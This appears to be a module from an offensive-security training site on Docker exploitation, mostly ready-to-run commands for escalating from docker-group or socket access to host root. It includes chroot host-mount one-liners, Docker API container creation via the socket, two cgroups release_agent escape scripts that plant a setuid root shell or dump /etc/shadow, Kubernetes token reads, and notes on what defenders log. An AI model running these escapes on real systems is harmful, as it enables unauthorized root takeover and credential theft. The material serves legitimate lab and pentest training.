Back to All Modules

Docker Exploitation

#Overview

Docker group membership is equivalent to root access. Any user in the docker group can mount the host filesystem into a container and gain root on the host. Beyond the trivial docker group escalation, container escape techniques exploit kernel vulnerabilities, misconfigured capabilities, or exposed Docker sockets to break out of confined environments.

#Prerequisites

  • Docker group membership (id | grep docker)
  • Or: write access to /var/run/docker.sock
  • Or: running inside a privileged container with escape vector

#Detection & Enumeration

# Check Docker group membership
id
groups

# Check if docker socket is writable
ls -la /var/run/docker.sock

# Check if we're inside a container
cat /proc/1/cgroup | grep docker
# Presence of /docker/ in cgroup output indicates container

# Check for Docker binary
which docker

# List containers
docker ps
docker ps -a

# Check container capabilities (from inside container)
capsh --print
cat /proc/1/status | grep Cap

# Run deepce enumeration tool
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
BASH

#Exploitation / Execution

#Docker Group Membership to Root

The classic one-liner:

docker run -v /:/host -it alpine chroot /host
# Now you're root on the host filesystem

# Alternative: mount and spawn bash
docker run -v /:/mnt -it alpine /bin/sh
# Inside container: chroot /mnt

# With specific image if alpine is unavailable:
docker run -v /:/host -it ubuntu chroot /host bash
docker run -v /:/host -it busybox chroot /host sh
BASH

#Docker Socket Write Access

# If /var/run/docker.sock is writable (even without docker group):
# Use curl to communicate with Docker API
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# Create a container with host mount
curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["chroot","/host","/bin/bash"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create
BASH

#docker run --privileged

If you can create privileged containers (requires --privileged flag not blocked):

# Privileged container has all capabilities and device access
docker run --privileged -v /:/host -it alpine chroot /host

# Access host devices directly
docker run --privileged -it alpine sh
# Inside: mknod /dev/sda b 8 0; mount /dev/sda /mnt
BASH

#Container Escape: CVE-2022-0492 (cgroups release_agent)

When running in a container with CAP_SYS_ADMIN and cgroups v1:

# Check if cgroup is mounted
mount | grep cgroup

# Escape via cgroup release_agent:
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create the command that will be executed
echo '#!/bin/sh' > /cmd
echo 'chroot /host_path /bin/bash -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"' >> /cmd
chmod +x /cmd

# Trigger the release
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
BASH

#Container Escape: Mount Host Filesystem

In a privileged container, directly mount the host disk:

# List host block devices
fdisk -l

# Mount host filesystem
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
BASH

#deepce Enumeration Script

# Download and run deepce for comprehensive container enumeration
curl -L https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# deepce checks:
# - Container capabilities
# - Docker socket access
# - Privileged mode
# - Writeable host paths
# - Sensitive mounts
# - Exposed Docker API
BASH

#Docker Exec into Running Containers

# List running containers
docker ps

# Execute commands in a container running as different user
docker exec -it <container_id> /bin/bash

# If a container runs as root, you can:
docker exec -it <container_id> sh -c "chroot /host /bin/bash"
BASH

#Kubernetes (k8s) Pod Escape

# Check if running in k8s:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Enumerate k8s API:
kubectl get pods -n default
kubectl auth can-i --list
# Common escape paths:
# 1. ServiceAccount with cluster-admin rights → create privileged pod
# 2. HostPath mount → access node filesystem
# 3. Privileged container → mount node filesystem, access docker socket
BASH

#Container Runtime Sockets (not just Docker)

ls -la /run/containerd/containerd.sock   # containerd socket
ls -la /run/crio/crio.sock               # CRI-O socket
# If writable: can create containers and escape to host
BASH

#Docker Escape via cgroup (Privileged Container)

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/yo
echo 1 > /tmp/cgrp/yo/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'cat /etc/shadow > $host_path/output' >> /cmd
chmod a+x /cmd
sh -c "echo 0 > /tmp/cgrp/yo/cgroup.procs"
# After execution, read /output on the host filesystem
BASH

#Common Pitfalls

  • docker run -v /:/host requires the alpine image to be available locally or pullable
  • If the host has no internet, the docker pull will fail -- need to find an existing image
  • Not all Docker installations allow mounting the root filesystem (security profiles, apparmor/selinux)
  • cgroup escape (CVE-2022-0492) requires cgroups v1 -- v2 systems are not affected
  • Docker socket permissions vary -- check both group ownership and file permissions
  • Running chroot /host inside the container may fail if the host binary format differs

#OPSEC Considerations

  • Docker group abuse creates new containers visible in docker ps and container logs.
  • Mounting the host filesystem is recorded in Docker daemon logs.
  • The chroot escape creates a process tree with clear Docker parentage.
  • Creating privileged containers is heavily logged by most Docker security tools.
  • Docker socket access is a well-known escalation path monitored by container security solutions.

#Post-Exploitation Value

Docker exploitation provides root on the host with: full filesystem access, ability to read /etc/shadow, SSH key extraction from /root/.ssh, credential extraction from all host users, modification of host systemd services, and full persistent compromise of the physical or virtual machine.

#Cross-References

#Tool References

ToolLink
deepcehttps://github.com/stealthcopter/deepce
Docker documentationhttps://docs.docker.com/engine/security/

#Source Machines

  • Cerberus (Hard, Linux) - Firejail container breakout (CVE-2022-31214), then Docker network pivot